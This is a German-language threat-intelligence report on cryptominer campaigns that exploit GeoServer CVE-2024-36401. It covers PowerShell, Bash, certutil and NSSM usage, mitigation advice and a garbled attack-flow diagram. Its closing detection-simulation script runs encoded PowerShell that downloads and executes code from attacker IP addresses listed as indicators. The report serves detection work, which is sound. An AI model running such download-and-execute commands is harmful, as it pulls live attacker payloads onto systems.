SOC Prime Bias: Kritisch

23 Dez. 2025 13:38

GeoServer unter Angriff: Malware Coin Miner Kampagnen

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
GeoServer unter Angriff: Malware Coin Miner Kampagnen
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Zusammenfassung

Bedrohungsakteure nutzen die GeoServer-Schwachstelle für Remote-Code-Ausführung CVE-2024-36401, um Kryptowährungs-Miner und NetCat auf ungepatchten Servern zu installieren. Die Aktivität stützt sich auf PowerShell, Bash und certutil, um XMRig von mehreren bösartigen Domains und IP-Adressen herunterzuladen und zu starten. Mehrere Downloader-Skripte und Dropper werden verwendet, häufig in ZIP-Archiven verpackt und als Dienste über NSSM gespeichert. Das Hauptziel ist es, Rechenressourcen für unbefugtes Mining zu beschlagnahmen.

Untersuchung

Der Bericht skizziert drei Varianten (A, B, C), die kodierte PowerShell, auf Bash basierende Abrufskripte und certutil verwenden, um Miner-Nutzlasten von pool.supportxmr.com und mehreren aaaaaaaaa.cyou-Subdomains abzurufen. Verteilungsmethoden umfassen Batch-Skripte, ZIP-Bundles und einen maßgeschneiderten Downloader namens systemd zusammen mit HTTP-Basic-Authentifizierungsdaten. Analysten extrahierten wichtige Indikatoren—URLs, IP-Adressen und Dateinamen—zur Unterstützung der Erkennung und des Umfangs.

Abschwächung

Wenden Sie GeoServer-Patches an, die CVE-2024-36401 beheben, und halten Sie die Deployments auf der neuesten unterstützten Version. Blockieren Sie ausgehende Verbindungen zu bekannten Mining-Pools und verwandter Infrastruktur und überwachen Sie verdächtige kodierte PowerShell- oder Bash-Ausführungen. Beschränken Sie die Verwendung von certutil für Nicht-Admin-Kontexte und erzwingen Sie Anwendungs-Whitelistings, um unbefugte Dienste, die über NSSM installiert werden, zu verhindern.

Reaktion

Implementieren Sie Erkennungen für die beobachteten Kommandozeilen, Hashes und Netzwerkindikatoren. Isolieren Sie betroffene Hosts, beseitigen Sie Miner-Dienste und Persistenz-Artefakte und führen Sie einen forensischen Sweep auf sekundäre Nutzlasten durch. Drehen Sie exponierte Anmeldeinformationen um und fordern Sie Multi-Faktor-Authentifizierung für den administrativen Zugriff.

„graph TB %% Klassendefinitionen classDef action fill:#ffcc99 %% Action/Technik-Knoten classDef builtin fill:#e0e0e0 %% Tool- und eingebauter Utility-Knoten classDef malware fill:#ff9999 %% Malware-Knoten %% Knotendefinitionen tech_initial_access[„<b>Technik</b> – <b>T1210 Ausnutzung von Remote-Diensten</b><br/>Beschreibung: Exploitiere CVEu20112024u201136401 in GeoServer für Remote-Code-Ausführung“] class tech_initial_access action tool_geoserver[„<b>Tool</b> – <b>Name</b>: GeoServer<br/><b>Schwachstelle</b>: CVEu20112024u201136401“] class tool_geoserver builtin tech_execution_ps[„<b>Technik</b> – <b>T1059.001 PowerShell</b><br/>Beschreibung: Führe kodierte PowerShell-Befehle aus, um bösartige Skripte herunterzuladen und zu starten“] class tech_execution_ps action tool_powershell[„<b>Tool</b> – <b>Name</b>: PowerShell“] class tool_powershell builtin tech_obfuscation[„<b>Technik</b> – <b>T1027 Verschleierte Dateien oder Informationen</b><br/>Beschreibung: Base64u2011verschlüsseln Sie Nutzlasten, die über certutil und Bash ausgeliefert werden“] class tech_obfuscation action tool_certutil[„<b>Tool</b> – <b>Name</b>: certutil“] class tool_certutil builtin tool_bash[„<b>Tool</b> – <b>Name</b>: Bash“] class tool_bash builtin tech_deobfuscation[„<b>Technik</b> – <b>T1140 Dateien oder Informationen entschlüsseln/decodieren</b><br/>Beschreibung: Decodieren Sie Base64-Nutzlasten auf dem Host vor der Ausführung“] class tech_deobfuscation action tech_defense_evasion[„<b>Technik</b> – <b>T1562 Verteidigungen beeinträchtigen</b><br/>Beschreibung: Deaktivieren Sie Windows Defender und fügen Sie Datei-/Pfad-Ausschlüsse hinzu“] class tech_defense_evasion action tool_windows_defender[„<b>Tool</b> – <b>Name</b>: Windows Defender“] class tool_windows_defender builtin tech_persistence[„<b>Technik</b> – <b>T1543.002 Systemprozess erstellen oder ändern: Systemd-Dienst</b><br/>Beschreibung: Verwenden Sie NSSM, um XMRig als persistenten Dienst zu installieren“] class tech_persistence action tool_nssm[„<b>Tool</b> – <b>Name</b>: NSSM (Nonu2011Sucking Service Manager)“] class tool_nssm builtin malware_xmrig[„<b>Malware</b> – <b>Name</b>: XMRig<br/><b>Zweck</b>: Kryptowährungs-Mining“] class malware_xmrig malware tech_impact[„<b>Technik</b> – <b>T1496.001 Rechnerausnutzung</b><br/>Beschreibung: Entwenden Sie CPU-Zyklen zum Minen von Kryptowährungen“] class tech_impact action tech_indirect_execution[„<b>Technik</b> – <b>T1202 Indirekte Befehlsausführung</b><br/>Beschreibung: PowerShell startet zusätzliche Skripte über Bash und Netcat“] class tech_indirect_execution action tool_netcat[„<b>Tool</b> – <b>Name</b>: Netcat“] class tool_netcat builtin %% Verbindungen tool_geoserver u002du002d>|ausgenutzt für| tech_initial_access tech_initial_access u002du002d>|ermöglicht| tech_execution_ps tech_execution_ps u002du002d>|verwendet| tool_powershell tech_execution_ps u002du002d>|herunterladen über| tool_certutil tech_execution_ps u002du002d>|ruft auf| tool_bash tech_execution_ps u002du002d>|ruft auf| tool_netcat tool_certutil u002du002d>|liefert kodierte Nutzlasten an| tech_obfuscation tool_bash u002du002d>|führt kodierte Nutzlasten aus für| tech_obfuscation tech_obfuscation u002du002d>|erfordert| tech_deobfuscation tech_deobfuscation u002du002d>|bereitet Umgebung vor für| tech_defense_evasion tech_defense_evasion u002du002d>|deaktiviert| tool_windows_defender tech_defense_evasion u002du002d>|führt zu| tech_persistence tech_persistence u002du002d>|verwendet| tool_nssm tool_nssm u002du002d>|installiert| malware_xmrig malware_xmrig u002du002d>|führt aus| tech_impact tech_execution_ps u002du002d>|löst aus| tech_indirect_execution tech_indirect_execution u002du002d>|verwendet| tool_bash tech_indirect_execution u002du002d>|verwendet| tool_netcat tech_indirect_execution u002du002d>|erleichtert| malware_xmrig „

Angriffsfluss

Simulationsdurchführung

Voraussetzung: Der Telemetrie- & Basislinien-Pre-Flight-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die genaue Ausführung der gegnerischen Technik (TTP), die zum Auslösen der Erkennungsregel entwickelt wurde. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und sollen die genaue Telemetrie erzeugen, die von der Erkennungslogik erwartet wird.

  • Angriffserzählung & Befehle:
    Ein Angreifer hat eine bösartige Base64-Nutzlast erhalten, die eine anfällige GeoServer-Konfigurationsdatei herunterlädt, ausführt und dann einen Kryptowährungs-Miner ablegt. Um einfache Skriptblock-Erkennung zu vermeiden, verwendet der Angreifer den -enc Schalter mit einem vorab kodierten String (eines der zwei bekannten IOCs). Der Angreifer führt die Nutzlast lokal auf einem kompromittierten Windows-Host aus, was eine powershell.exe Prozesserstellung verursacht, die den genauen Base64-String enthält, den die Regel überwacht.

  • Regressionstestskript:

     # -------------------------------------------------
      #  Regression script to trigger the Sigma rule
      # -------------------------------------------------
      # Payload 1 (matches first IOC)
      $b64_1 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMjIwLjg0LjEwNy42OS9qcy9ndy50eHQnKQA='
      powershell.exe -enc $b64_1
    
      # Payload 2 (matches second IOC)
      $b64_2 = 'SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8xMTkuMTk0LjE1My4zMTo4MDgwL2ljb24vanMvd2kudHh0Jyk='
      powershell.exe -enc $b64_2
  • Bereinigungsbefehle:

     # -------------------------------------------------
      #  Bereinigung - beenden Sie alle verbliebenen PowerShell-Nutzlasten
      # -------------------------------------------------
      Get-Process -Name powershell -ErrorAction SilentlyContinue |
        Where-Object { $_.StartInfo.Arguments -match '-enc' } |
        Stop-Process -Force